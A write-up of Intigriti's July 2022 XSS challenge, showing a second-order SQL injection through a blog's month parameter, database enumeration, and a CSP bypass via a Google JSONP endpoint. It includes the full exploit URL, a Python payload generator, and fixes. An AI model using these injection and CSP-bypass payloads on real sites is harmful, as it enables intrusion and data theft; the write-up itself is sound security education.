The bug bounty platform Intigriti hosts monthly XSS challenges. This writeup is on the July 2022 XSS challenge hosted at https://challenge-0722.intigriti.io/ .

The challenge site

The challenge site is a simple blog with blog posts from several authors. Links on the side of filter all displayed posts by their month: ?month=2 shows only posts from February, ?month=3 from March and so on. Since the month query parameter is the only obvious parameter on the site, it deserves closer inspection.

SQL Injection

It is likely that the blog posts are stored in an SQL database. The month parameter is probably used inside the WHERE clause of an SQL query to select only the desired posts. If that is the case, maybe the parameter is vulnerable to an SQL injection attack. ?month=a leads to an error, ?month=2 -- a does not (-- marks a comment in SQL). This suggests that month is passed into an SQL query string without sanitization.

The SQL injection vulnerability can be used to insert arbitrary text into the page to get XSS. For that, a UNION SELECT can be used: ?month=0 UNION SELECT 1,2,3,4,5 inserts 2 as the post title, 3 as the post body and 5 as the post date. This adds the result row 1,2,3,4,5 on the existing set of columns selected, which is empty since no post was published in month 0. Arbitrary strings that are inserted with quotes (1,'injected title',3,4,5) lead to an error. Instead, hex-encoded text can be used: ?month=0 UNION SELECT 1,0x696e6a6563746564207469746c65,3,4,5 successfully inserts a post with the title “injected title”.

Unfortunately, all HTML entities injected through columns 2, 3 and 5 get encoded. This leaves columns 1 and 4. Their contents don’t get printed to the page. Instead, column 1 is probably the post ID and column 4 the user ID. Inserting 1 into column 4 shows Anton as the author of the injected post, inserting 2 shows Jake.

To get any further here, the available table columns of all tables need to be enumerated. The query SELECT 1,group_concat(concat(table_name, 0x202d20, column_name)),3,4,5 from information_schema.columns can be used for this. The table information_schema.columns holds metadata about all tables in a MySQL database. group_concat() flattens multiple results into a single row. concat(table_name, 0x202d20, column_name) concatenates each table name with a respective column name and uses - as a delimiter. This produces post - id,post - title,post - msg,post - author,post - datetime,user - id,user - name,user - picture,youtube - id,youtube - videoid.

Second order SQL injection

There are multiple ways to combine the two tables post and user by the user ID. An SQL JOIN can be used to produce the desired result in a single SQL query. Or several queries can be used where the result of the first is used in the second query. This second approach can look something like this:

$result = $conn->query('SELECT * FROM post WHERE id = $month');
while($row = $result->fetch_assoc()) {
  $user_id = $row['id'];
  $user_result = $conn->query('SELECT * FROM user WHERE id = $user_id');
  $user_row = $user_result->fetch_assoc();
  print_article($row['title'], $row['msg'], $row['datetime'], $user_result['name']);
}

If that is the case, there is a second SQL injection into the second query. The query ?month=0 UNION SELECT 1,2,3,'0 UNION SELECT 1,"injected username",3',5 tests for this. Here, '0 UNION SELECT 1,"injected username",3' is the second order injection into the WHERE clause of the second statement. To make this query work, the string "injected username" and the whole second query itself have to be each encoded as hex values. ?month=0 union select 1,2,3,0x3020554e494f4e2053454c45435420312c3078363936653661363536333734363536343230373537333635373236653631366436352c33,5 produces an article with the author injected username. This confirms that the approach shown above is used. And testing HTML entities inside the username shows that they are not encoded! Using this, arbitrary HTML can be injected.

JSONP Script gadget

This doesn’t immediately lead to XSS though. The classic <script>alert(document.domain)</script> can’t be used because there is a restrictive CSP in place: default-src 'self' *.googleapis.com *.gstatic.com *.cloudflare.com. This CSP prevents inline scripts. Instead, a script executing alert(document.domain) has to be loaded from the challenge server or from one of the allow-listed domains. For example, a lot npm packages can be loaded from cdnjs.cloudflare.com, including old vulnerable versions. For example, there are several XSS gadgets relating to AngularJS, but these mostly require unsafe-eval in the CSP.

Another method to bypass this CSP are JSONP endpoints. These are API endpoints which return Javascript that calls a user-specified callback function. For example, <script src="https://example.com/jsonp?callback=alert(1)"></script> could return the script alert(1)("actual data");. This is usually intended to pass the returned data ("actual data") to a desired callback function that handles the data. But unsafe JSONP endpoints don’t sanitize the passed callback parameter and call the function with arbitrary parameters, leading to arbitrary XSS. Different Google APIs are such JSONP endpoints, sometimes relating to search or Google Maps. A lot of endpoints discovered by researchers were fixed or simply removed. But a working one is: <script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)"></script> (found on the Brute XSS blog ) which returns the following code that calls alert(1), despite an error being detected:

// API callback
alert(1)({
  "error": {
    "code": 400,
    "message": "Invalid JSONP callback name: 'alert(1)'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.",
    "errors": [
      {
        "message": "Invalid JSONP callback name: 'alert(1)'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.",
        "domain": "global",
        "reason": "badRequest"
      }
    ],
    "status": "INVALID_ARGUMENT"
  }
}
);

Including this script tag with the callback alert(document.domain) as the username using the described second order SQL injection solves the challenge. 🥳

Full exploit

Exploit URL

https://challenge-0722.intigriti.io/challenge/challenge.php?month=0%20UNION%20SELECT%201%2C2%2C3%2C0x3020554e494f4e2053454c45435420312c3078336337333633373236393730373432303733373236333364323236383734373437303733336132663266373737373737326536373666366636373663363536313730363937333265363336663664326636333735373337343666366437333635363137323633363832663736333133663633363136633663363236313633366233643631366336353732373432383634366636333735366436353665373432653634366636643631363936653239323233653363326637333633373236393730373433652c33%2C5

Script to generate exploit URL

#!/usr/bin/python3
from binascii import hexlify
from urllib.parse import quote

URL = "https://challenge-0722.intigriti.io/challenge/challenge.php?month="

payload = "alert(document.domain)"
gadget = f'<script src="https://www.googleapis.com/customsearch/v1?callback={payload}"></script>'
print(gadget)
gadget = b"0x" + hexlify(gadget.encode())
gadget = gadget.decode("utf-8")

inner = f"0 UNION SELECT 1,{gadget},3"
print(inner)
inner = b"0x" + hexlify(inner.encode())
inner = inner.decode("utf-8")

outer = f"0 UNION SELECT 1,2,3,{inner},5"
print(outer)
print(URL + quote(outer))

Impact

  • SQL Injection leaks all data in database (all users, posts, youtube videos 😉)
  • SQLI potentially leads to arbitrary data being inserted into the database, if the used database user has write priviliges.
  • SQLI potentially leads to Remote Code Execution.
  • SQLI leads to XSS.

Fix

Always use prepared statements for SQL. This eliminates the SQL injection vulnerability:

$stmt = $conn->prepare('SELECT * FROM post WHERE id = ?');
$stmt->bind_param("i", $month);
$stmt->execute();
$result = $stmt->get_result();
while($row = $result->fetch_assoc()) {
  $stmt = $conn->prepare('SELECT * FROM user WHERE id = ?');
  $stmt->bind_param("i", $row['id']);
  $stmt->execute();
  $user_result = $stmt->get_result();
  $user_row = $user_result->fetch_assoc();
  print_article($row['title'], $row['msg'], $row['datetime'], $user_result['name']);
}

Only use hashes or nonces in the CSP for CDN scripts. This allows only the desired scripts to be loaded. A non-exhaustive example for Bootstrap:

Content-Security-Policy: default-src 'self'; script-src 'nonce-OvBgP9A2JBgiRad'
...
<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.1.3/js/bootstrap.min.js" nonce="OvBgP9A2JBgiRad">